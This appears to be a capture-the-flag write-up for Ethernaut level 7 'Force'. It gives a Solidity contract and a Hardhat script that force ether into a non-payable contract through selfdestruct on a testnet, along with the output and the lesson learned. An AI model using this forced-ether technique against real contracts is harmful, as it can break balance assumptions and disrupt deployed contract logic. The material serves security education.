Ethernaut #07 Force
Force
Challenge
Some contracts will simply not take your money ¯\_(ツ)_/¯
The goal of this level is to make the balance of the contract greater than zero.
Things that might help:
- Fallback methods
- Sometimes the best way to attack a contract is with another contract.
- See the Help page above, section “Beyond the console”
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
contract Force {/*
MEOW ?
/\_/\ /
____/ o o \
/~____ =ø= /
(______)__m_m)
*/}
Background
This challange was the first I didn’t know how to solve and needed to check. It turns out when a contract selfdestruct
s it can choose where its funds should go. And one option is to send all funds to a different contract. In this case the contract will accept the funds.
Attack
Create a contract with selfdestruct
functionality, send funds to it and trigger the selfdestruct
with the address of the Force
contract.
- Create a contract that can
selfdestruct
- Call the
selfdestruct
functionality on the contract with theForce
address argument and send some value to it
ForceSolve.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
contract ForceSolve {
constructor() public {}
function send(address payable _forceAddress) public payable {
selfdestruct(_forceAddress);
}
}
force-solve.js
const hre = require("hardhat");
const { ethers, upgrades } = require("hardhat");
async function main() {
forceAddress = "0x5B4656e37375734215B0C4dB0fFE6548009C9c26";
contract = await ethers.getContractAt("Force", forceAddress);
const accounts = await hre.ethers.getSigners();
account = accounts[0];
ForceSolve = await ethers.getContractFactory("ForceSolve");
forceSolve = await ForceSolve.deploy();
await forceSolve.deployed();
console.log("Level address : " + contract.address)
console.log("Contract Balance: " + await ethers.provider.getBalance(contract.address))
// send funds buy calling selfdestruct
tx = await forceSolve.connect(account).send(contract.address, { value: 1 })
receipt = await tx.wait()
console.log("Contract Balance: " + await ethers.provider.getBalance(contract.address))
}
main().catch((error) => {
console.error(error);
process.exitCode = 1;
});
$ npx hardhat run scripts/force-solve.js --network rinkeby
Level address : 0x5B4656e37375734215B0C4dB0fFE6548009C9c26
Contract Balance: 0
Contract Balance: 1
Success Message
In solidity, for a contract to be able to receive ether, the fallback function must be marked payable
.
However, there is no way to stop an attacker from sending ether to a contract by self destroying. Hence, it is important not to count on the invariant address(this).balance == 0
for any contract logic.